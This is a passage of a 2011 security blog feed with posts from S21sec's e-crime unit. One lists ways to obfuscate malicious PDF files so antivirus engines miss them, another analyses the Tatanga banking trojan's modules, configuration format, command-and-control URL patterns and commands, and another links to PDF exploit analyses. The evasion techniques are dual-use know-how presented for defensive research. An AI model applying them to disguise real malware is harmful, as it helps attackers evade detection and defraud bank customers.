/&gt;&lt;/div&gt;&lt;i&gt;Mikel Gastesi&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;S21sec e-crime&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/VZWWHxSVv_Y" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/8611763762671716726/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=8611763762671716726" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/8611763762671716726?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/8611763762671716726?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/VZWWHxSVv_Y/evolution-ramification-and-reflections.html" title="Evolution, ramification and reflections on Zeus." /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-m4bPtWm9zdM/TgG-w5ajQcI/AAAAAAAAAvA/dxM7wi_wF9k/s72-c/minutos.PNG" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2011/06/evolution-ramification-and-reflections.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUUMRX44eip7ImA9WhRTEUs.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-6169939446089617702</id><published>2011-05-16T01:12:00.000-07:00</published><updated>2011-11-01T10:08:04.032-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-11-01T10:08:04.032-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="PDF" /><category scheme="http://www.blogger.com/atom/ns#" term="Tools" /><category scheme="http://www.blogger.com/atom/ns#" term="Events" /><category scheme="http://www.blogger.com/atom/ns#" term="Antivirus" /><category scheme="http://www.blogger.com/atom/ns#" term="Vulnerabilities" /><title>Obfuscation and (non-)detection of malicious PDF files</title><content type="html">&lt;div style="text-align: justify;"&gt;More than two months ago I talked at &lt;a href="http://www.rootedcon.es/congreso/ponencias.html#pdfs"&gt;Rooted CON (Madrid)&lt;/a&gt; about &lt;a href="http://eternal-todo.com/files/presentations/obfuscation_pdf_files_peepdf.pdf"&gt;some techniques to obfuscate and hide malicious PDF files&lt;/a&gt;. I gave the same speech at &lt;a href="http://www.caro2011.org/program.php"&gt;CARO 2011 (Prague)&lt;/a&gt; last Friday with &lt;a href="http://eternal-todo.com/files/presentations/obfuscation_detection_pdf_files_peepdf_caro2011.pdf"&gt;updated slides&lt;/a&gt; and a demo of &lt;a href="http://eternal-todo.com/tools/peepdf-pdf-analysis-tool"&gt;peepdf&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The idea is that it's possible to use some malformations in the documents, like those &lt;a href="http://events.ccc.de/congress/2010/Fahrplan/events/4221.en.html"&gt;commented by Julia Wolf&lt;/a&gt;, and the PDF specification itself in order to keep the files hidden from Antivirus engines and parsers. Bad guys can effectively use it to create an undetectable exploit and use it as an attacking vector. Some of the techniques are the following:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Using the &lt;span style="font-style: italic;"&gt;/Names&lt;/span&gt; and &lt;span style="font-style: italic;"&gt;/AcroForm&lt;/span&gt; elements of the &lt;span style="font-style: italic;"&gt;Catalog&lt;/span&gt; object to execute code when the document is opened, instead of the &lt;span style="font-style: italic;"&gt;/OpenAction&lt;/span&gt; element.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;If the malicious content is stored in a string object it's possible to hide it thanks to the octal codification.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;However, if the content is stored in a stream object some unknown filters can be applied, like &lt;span style="font-style: italic;"&gt;/JBIG2Decode&lt;/span&gt; or &lt;span style="font-style: italic;"&gt;/DCTDecode&lt;/span&gt;, avoiding the most used, like &lt;span style="font-style: italic;"&gt;/FlateDecode&lt;/span&gt; and &lt;span style="font-style: italic;"&gt;/ASCIIHexDecode&lt;/span&gt;. Avast researchers found recently that this is something that &lt;a href="https://blog.avast.com/2011/04/22/another-nasty-trick-in-malicious-pdf/"&gt;cyberdelinquents are already using in the wild&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;In the case of &lt;span style="font-style: italic;"&gt;/FlateDecode&lt;/span&gt; and &lt;span style="font-style: italic;"&gt;/LZWDecode&lt;/span&gt; filters it's possible to define some parameters in order to make the analysis more difficult.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Split up the malicious code in several parts and store them in different locations of the document. In the case of Javascript code it's possible to store them in the &lt;span style="font-style: italic;"&gt;/Names&lt;/span&gt; element of the &lt;span style="font-style: italic;"&gt;Catalog&lt;/span&gt;. Also some specific functions can be used to retrieve some elements of the document, like &lt;span style="font-style: italic;"&gt;getAnnots&lt;/span&gt;, &lt;span style="font-style: italic;"&gt;getPageNthWord&lt;/span&gt;, etc.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Avoid the &lt;span style="font-style: italic;"&gt;endobj&lt;/span&gt; tag at the final of the objects to cheat the parsers.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Put null bytes in the header of the document.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Compressing the malicious objects in the so-called &lt;span style="font-style: italic;"&gt;object streams&lt;/span&gt; to add an additional obfuscation level.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Encrypt the document with the “default password”.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Embed the malicious file in a legit one. It's possible to open the malicious file automatically when the legit document is opened.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;In the demo I performed last Friday I modified a &lt;a href="http://www.virustotal.com/file-scan/report.html?id=633f5bf8ef0a03fe1e8e00a3350aa1acd3174d7f0dbc16fc9c9bac747a59f7a5-1304673261"&gt;detected malicious PDF file&lt;/a&gt; (34/43) to decrease its detection rate, being &lt;a href="http://www.virustotal.com/file-scan/report.html?id=fbfd6df6a14f3cab3742d84af2b7d3d881ad11ef7d1344ba166092c890f47f77-1303817670"&gt;detected only by one Antivirus engine&lt;/a&gt; after the modifications. The results of the tests performed in February were even worse, &lt;a href="http://www.virustotal.com/file-scan/report.html?id=fbfd6df6a14f3cab3742d84af2b7d3d881ad11ef7d1344ba166092c890f47f77-1298457739"&gt;being totally undetectable&lt;/a&gt;. Although bad guys are not using all these techniques yet, they will do, therefore it's important to take them into account in the development process of analysis tools and Antivirus products.&lt;br /&gt;&lt;br /&gt;The tool I've developed for the analysis of malicious PDF files, &lt;a href="http://peepdf.eternal-todo.com/"&gt;peepdf&lt;/a&gt;, was released last Friday too, and it supports most of the commented techniques, so it's a good option when a PDF file must be analysed. It's the first version of the tool, so all  comments and potential bugs are welcomed! ;)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Jose Miguel Esparza&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;S21sec e-crime&lt;/span&gt;&lt;br /&gt;(&lt;a href="http://eternal-todo.com"&gt;Blog&lt;/a&gt; / &lt;a href="http://twitter.com/eternaltodo"&gt;Twitter&lt;/a&gt;)&lt;br /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/KBLlmAI0ZiI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/6169939446089617702/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=6169939446089617702" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/6169939446089617702?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/6169939446089617702?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/KBLlmAI0ZiI/obfuscation-and-non-detection-of.html" title="Obfuscation and (non-)detection of malicious PDF files" /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2011/05/obfuscation-and-non-detection-of.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUQGQXc9cCp7ImA9WhRTEUs.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-3635193642668947358</id><published>2011-02-25T04:57:00.000-08:00</published><updated>2011-11-01T10:08:40.968-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-11-01T10:08:40.968-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Ecrime" /><category scheme="http://www.blogger.com/atom/ns#" term="Trojans" /><category scheme="http://www.blogger.com/atom/ns#" term="Fraud" /><category scheme="http://www.blogger.com/atom/ns#" term="Malware" /><category scheme="http://www.blogger.com/atom/ns#" term="Botnet" /><title>Tatanga: a new banking trojan with MitB functions</title><content type="html">&lt;div style="text-align: justify;"&gt;Recently our e-crime unit has detected a new banking trojan, named as &lt;a href="http://www.mariowiki.com/Tatanga"&gt;Tatanga&lt;/a&gt;, with Man in the Browser (MitB) functions affecting banks in Spain, United Kingdom, Germany and Portugal. Like &lt;a href="http://securityblog.s21sec.com/2010/10/spyeye-latest-features-include-man-in.html"&gt;SpyEye&lt;/a&gt;, it can perform automatic transactions, retrieving the mules from a server and spoofing the real balance and banking operations of the users. Its &lt;a href="http://www.virustotal.com/file-scan/report.html?id=3c9ecf9f0b3c1b93b20ad5778b42c218bffa749de29a155c432e3521e2875c50-1297975866"&gt;detection rate&lt;/a&gt; is very low, and the few antivirus engines that can detect it yield a generic result.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;The trojan in question is rather sophisticated. It is written in C++ and uses rootkit techniques to conceal its presence, though on occasion, its files are visible. The trojan downloads a number of encrypted modules (DLLs), which are decrypted in memory when injected to the browser or other processes to avoid detection by antivirus software. The modules are the following:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;ModEmailGrabber&lt;/span&gt;: It gathers e-mail addresses.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;Coredb&lt;/span&gt;: It manages the trojan's configuration. The corresponding file is encrypted with the algorithm 3DES.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;Comm Support Library&lt;/span&gt;: This module implements the encryption of the communication between the trojan and the control panel.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;File Patcher&lt;/span&gt;: The function of this module is not clear yet. It is suspected that it is in charge of the propagation across folders containing multimedia, zipped or executable files.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;ModMalwareRemover&lt;/span&gt;: Used in the removal of other malware families, including Zeus.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-oIoU7yl-gxk/TWey5hSPTeI/AAAAAAAAAsk/-OFJEMnf1ng/s1600/zeus2.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 156px;" src="http://3.bp.blogspot.com/-oIoU7yl-gxk/TWey5hSPTeI/AAAAAAAAAsk/-OFJEMnf1ng/s400/zeus2.png" alt="" id="BLOGGER_PHOTO_ID_5577623364778806754" border="0" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;ModBlockAVTraffic&lt;/span&gt;: It blocks the antivirus application installed in the system.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;ModDynamicInjection&lt;/span&gt;: Related to HTML injections&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;The modules names &lt;span style="font-style: italic;"&gt;ModEmailGrabber&lt;/span&gt; and ModMalwareRemover might have been used in a bot in 2008, so maybe this is the result of the evolution of that malware.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Like other trojans of this kind, it uses an encrypted configuration file. This file is in XML format and has a &lt;typen&gt; element for each affected country. The code for each country is encoded and has the following format:&lt;br /&gt;&lt;/typen&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;^^monitorized_url1~~monitorized_url2||code_replaced_in_legit_webpage||code_to_replace_for&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Depending on the targeted bank, the trojan can passively grab the credentials or ask for more in order to make the fraudulent transaction in the user session. In some cases the requested credentials include the OTP mobile key and they success thanks to a good social engineering in their injections:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-vZnxtNAPCoI/TWezKeI0LMI/AAAAAAAAAss/KWP43XMLVo4/s1600/demo.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 177px;" src="http://3.bp.blogspot.com/-vZnxtNAPCoI/TWezKeI0LMI/AAAAAAAAAss/KWP43XMLVo4/s400/demo.png" alt="" id="BLOGGER_PHOTO_ID_5577623655991749826" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Seven compromised web sites are hardcoded and act as proxys to the real control panel. Their functions range from data sending to notifying infections and obtaining money mules' accounts.  The format of the URLs are the following:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;http://hacked_site.com/com/m.php?f=module.dll&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;http://hacked_site.com/com/c.php&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;http://hacked_site.com/com/d.php&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;http://control_panel/srvpnl/upload/module.dll&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-4u3kZ6U1Z4Y/TWezSNw7whI/AAAAAAAAAs0/KVLQ1gaoxRU/s1600/c%2526c.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://1.bp.blogspot.com/-4u3kZ6U1Z4Y/TWezSNw7whI/AAAAAAAAAs0/KVLQ1gaoxRU/s400/c%2526c.png" alt="" id="BLOGGER_PHOTO_ID_5577623789035569682" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This malware affects nine browsers, covering almost all Windows users:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Internet Explorer&lt;/li&gt;&lt;li&gt;Mozilla Firefox&lt;/li&gt;&lt;li&gt;Google Chrome&lt;/li&gt;&lt;li&gt;Opera&lt;/li&gt;&lt;li&gt;Minefield&lt;/li&gt;&lt;li&gt;Maxthon&lt;/li&gt;&lt;li&gt;Netscape&lt;/li&gt;&lt;li&gt;Safari&lt;/li&gt;&lt;li&gt;Konqueror&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Some additional functionalities of the trojan:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;div style="text-align: justify;"&gt;64-bit support: it injects into &lt;span style="font-style: italic;"&gt;explore.exe&lt;/span&gt; in 32-bit systems and it's executed as a normal process in 64-bit systems.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Anti-VM and anti-debugging techniques&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;div style="text-align: justify;"&gt;Dump online banking pages and send them to the server, probably in order to improve the injected code&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;div style="text-align: justify;"&gt;Weak encryption algorithm in the communication with the C&amp;amp;C based on XOR operations.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;div style="text-align: justify;"&gt;Commands accepted from the C&amp;amp;C: &lt;span style="font-style: italic;"&gt;modinfo, softstat, cmd, stopos, startos, reboot, winkill, die, instsoft, proclist, clearcookies, setlevel, kill&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Functions to prevent &lt;span style="font-style: italic;"&gt;Trusteer Rapport&lt;/span&gt; from being downloaded&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;We have seen lots of comments and test functions, so maybe this is just a test to improve its functions before spreading it. Stay tuned!&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Jozsef Gegeny &amp;amp; &lt;a href="http://twitter.com/eternaltodo"&gt;Jose Miguel Esparza&lt;/a&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;S21sec e-crime&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/NsDTJEXSZkE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/3635193642668947358/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=3635193642668947358" title="4 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/3635193642668947358?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/3635193642668947358?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/NsDTJEXSZkE/tatanga-new-banking-trojan-with-mitb.html" title="Tatanga: a new banking trojan with MitB functions" /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-oIoU7yl-gxk/TWey5hSPTeI/AAAAAAAAAsk/-OFJEMnf1ng/s72-c/zeus2.png" height="72" width="72" /><thr:total>4</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2011/02/tatanga-new-banking-trojan-with-mitb.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEMFRXc9eSp7ImA9Wx9UF00.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-1071179915851694377</id><published>2011-02-14T08:50:00.000-08:00</published><updated>2011-02-14T08:53:34.961-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-02-14T08:53:34.961-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Events" /><title>S21sec in RSA</title><content type="html">&lt;a href="http://www.rsaconference.com/2011/usa/index.htm"&gt;RSA Conference&lt;/a&gt; has begun today and S21sec will be there to tell you the latest news in information security.&lt;br /&gt;&lt;br /&gt;See you in San Francisco!&lt;br /&gt;&lt;br /&gt;&lt;em&gt;S21sec Marketing&lt;/em&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/1gVdCIxCnYY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/1071179915851694377/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=1071179915851694377" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/1071179915851694377?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/1071179915851694377?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/1gVdCIxCnYY/s21sec-in-rsa.html" title="S21sec in RSA" /><author><name>S21sec</name><uri>http://www.blogger.com/profile/12912354041276652911</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2011/02/s21sec-in-rsa.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkcHQ30-fyp7ImA9Wx9VF0g.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-4664526773185842046</id><published>2011-02-02T08:42:00.000-08:00</published><updated>2011-02-03T08:20:32.357-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-02-03T08:20:32.357-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="PDF" /><category scheme="http://www.blogger.com/atom/ns#" term="Tools" /><category scheme="http://www.blogger.com/atom/ns#" term="Vulnerabilities" /><title>PDF Security links, 2010: Analysis and Tools</title><content type="html">&lt;div style="text-align: justify;"&gt;After a year of incidents related to the Portable Document Format (PDF) it is good to look back and remember some of the most important ones. Listed below are some links to malicious and / or obfuscated PDF document analysis, and some tools that have made their appearance in 2010. I hope you enjoy them!&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;Analysis&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;2010-01-04: &lt;a href="http://isc.sans.edu/diary.html?storyid=7867"&gt;Sophisticated, targeted malicious PDF documents exploiting CVE-2009-4324&lt;/a&gt;  (embedded binaries)&lt;br /&gt;&lt;br /&gt;2010-01-07: &lt;a href="http://isc.sans.edu/diary.html?storyid=7906"&gt;Static analysis of malicous PDFs (Part #2)&lt;/a&gt; (getAnnots, arguments.callee)&lt;br /&gt;&lt;br /&gt;2010-01-09: &lt;a href="http://www.signal11.eu/en/research/articles/app_doc_in_pdf.html"&gt;PDF Obfuscation&lt;/a&gt; (variables substitution, LuckySploit, CVE 2008-2992)&lt;br /&gt;&lt;br /&gt;2010-01-13: &lt;a href="http://feliam.wordpress.com/2010/01/13/generic-pdf-exploit-hider-embedpdf-py-and-goodbye-av-detection-012010/"&gt;Generic PDF exploit hider. embedPDF.py and goodbye AV detection&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-01-14: &lt;a href="http://blog.fireeye.com/research/2010/01/pdf-obfuscation.html"&gt;PDF Obfuscation using getAnnots()&lt;/a&gt; (getAnnots, arguments.callee, Neosploit)&lt;br /&gt;&lt;br /&gt;2010-02-15: &lt;a href="http://feliam.wordpress.com/2010/02/15/filling-adobes-heap/"&gt;Filling Adobe's heap&lt;/a&gt; (Javascript, ActionScript and PDF images)&lt;br /&gt;&lt;br /&gt;2010-02-18: &lt;a href="http://www.cs.bham.ac.uk/%7Ecovam/blog/2010/02/malicious-pdf-trick-getpagenthword.html"&gt;Malicious PDF trick: getPageNthWord &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-02-21: &lt;a href="http://joxeankoret.com/blog/2010/02/21/analyzing-pdf-exploits-with-pyew/"&gt;Analyzing PDF exploits with Pyew &lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-03-01: &lt;a href="http://www.f-secure.com/weblog/archives/00001894.html"&gt;Analyzing PDF Files &lt;/a&gt;(&lt;span class="rss:item"&gt;getPageNthWord, &lt;/span&gt;&lt;span class="rss:item"&gt;getPageNumWords&lt;/span&gt;)&lt;br /&gt;&lt;br /&gt;2010-04-08: &lt;a href="http://isc.sans.edu/diary.html?storyid=8587"&gt;JavaScript obfuscation in PDF: Sky is the limit&lt;/a&gt; (getAnnots,arguments.callee)&lt;br /&gt;&lt;br /&gt;2010-04-09: &lt;a href="http://blog.zynamics.com/2010/04/09/malicious-pdf-file-analysis-zynamics-style/"&gt;Malicious PDF file analysis: zynamics style&lt;/a&gt;  (PDF Dissector video)&lt;br /&gt;&lt;br /&gt;2010-04-22: &lt;a href="http://blog.bkis.com/en/will-there-be-new-viruses-exploiting-launch-vulnerability-in-pdf/"&gt;Will there be new viruses exploiting /Launch vulnerability in PDF?&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-05-18: &lt;a href="http://blog.didierstevens.com/2010/05/18/quickpost-more-malformed-pdfs/%20"&gt;Quickpost: More Malformed PDFs&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-06-08: &lt;a href="http://www.symantec.com/connect/blogs/analysis-zero-day-exploit-adobe-flash-and-reader"&gt;Analysis of a Zero-day Exploit for Adobe Flash and Reader &lt;/a&gt;(CVE-2010-1297)&lt;br /&gt;&lt;br /&gt;2010-06-09: &lt;a href="http://blog.zynamics.com/2010/06/09/analyzing-the-currently-exploited-0-day-for-adobe-reader-and-adobe-flash/"&gt;A brief analysis of a malicious PDF file which exploits this week’s Flash 0-day&lt;/a&gt; (malware, ROP)&lt;br /&gt;&lt;br /&gt;2010-06-21: &lt;a href="http://blog.fireeye.com/research/2010/06/that-pdf-thing.html"&gt;World's Smallest PDF&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-07-02: &lt;a href="http://prosauce.org/blog/2010/07/exploring-recent-pdf-exploits-a-time-killer/"&gt;Exploring recent PDF exploits: A Time Killer&lt;/a&gt; (getPageNthWord&lt;code class="js plain"&gt;&lt;span style=";font-family:&amp;quot;;" &gt;,&lt;/span&gt;&lt;/code&gt;CVE-2008-2992,CVE-2007-5659,CVE-2009-0927,CVE-2009-4324)&lt;br /&gt;&lt;br /&gt;2010-07-13: &lt;a href="http://blog.zynamics.com/2010/07/13/recon-slides-how-to-really-obfuscate-your-pdf-malware/"&gt;ReCon slides – How to really obfuscate your PDF malware&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-07-20: &lt;a href="http://www.h-online.com/security/features/CSI-Internet-PDF-timebomb-1038864.html"&gt;PDF time bomb&lt;/a&gt; (CVE-2008-2992,CVE-2007-5659,CVE-2009-0927)&lt;br /&gt;&lt;br /&gt;2010-08-04: &lt;a href="http://research.zscaler.com/2010/08/pdf-exploit-number-of-pages-is-key.html"&gt;PDF Exploit: Number of pages is the Key&lt;/a&gt;  (XOR, numPages,CVE-2007-5659,CVE-2009-0927,CVE-2009-4324)&lt;br /&gt;&lt;br /&gt;2010-08-04: &lt;a href="http://eternal-todo.com/blog/jailbreakme-pdf-exploit"&gt;About the JailbreakMe PDF exploit&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-08-12: &lt;a href="http://eternal-todo.com/blog/more-jailbreakme-pdf-exploit"&gt;More about the JailbreakMe PDF exploit&lt;/a&gt; (CVE-2010-1797)&lt;br /&gt;&lt;br /&gt;2010-08-19: &lt;a href="http://www.provos.org/index.php?/archives/85-Anatomy-of-a-PDF-Exploit.html"&gt;Anatomy of a PDF Exploit&lt;/a&gt; (AcroForm, TIFF, CVE-2010-0188)&lt;br /&gt;&lt;br /&gt;2010-08-20: &lt;a href="http://prosauce.org/blog/2010/08/analyzing-cve-2010-0188-exploits-the-legend-of-pat-casey-part-1/"&gt;Analyzing CVE-2010-0188 exploits: The Legend of Pat Casey (Part 1)&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-08-23: &lt;a href="http://eternal-todo.com/blog/CVE-2010-1797-foxit-reader-exploit"&gt;CVE-2010-1797 PDF exploit for Foxit Reader &amp;lt;= 4.0&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-09-01: &lt;a href="http://esec-lab.sogeti.com/dotclear/index.php?post/2010/09/01/An-approach-to-PDF-shielding"&gt;An approach to PDF shielding&lt;/a&gt; (encryption, object streams, nested PDF documents)&lt;br /&gt;&lt;br /&gt;2010-09-13: &lt;a href="http://community.websense.com/blogs/securitylabs/archive/2010/09/13/malicious-pdf-challenges.aspx"&gt;Malicious PDF Challenges&lt;/a&gt; (getPageNumWords, getPageNthWord)&lt;br /&gt;&lt;br /&gt;2010-09-17: &lt;a href="http://www.symantec.com/connect/blogs/rise-pdf-malware"&gt;The Rise of PDF Malware&lt;/a&gt; (whitepaper)&lt;br /&gt;&lt;br /&gt;2010-09-26: &lt;a href="http://blog.didierstevens.com/2010/09/26/free-malicious-pdf-analysis-e-book/"&gt;Free Malicious PDF Analysis E-book&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-10-02: &lt;a href="http://blog.malwaretracker.com/2010/10/hiding-pdf-exploits-by-embedding-pdf.html"&gt;Hiding PDF Exploits by embedding PDF files in streams and Flash ROP heapsprays&lt;/a&gt; (CVE-2010-2883)&lt;br /&gt;&lt;br /&gt;2010-10-27: &lt;a 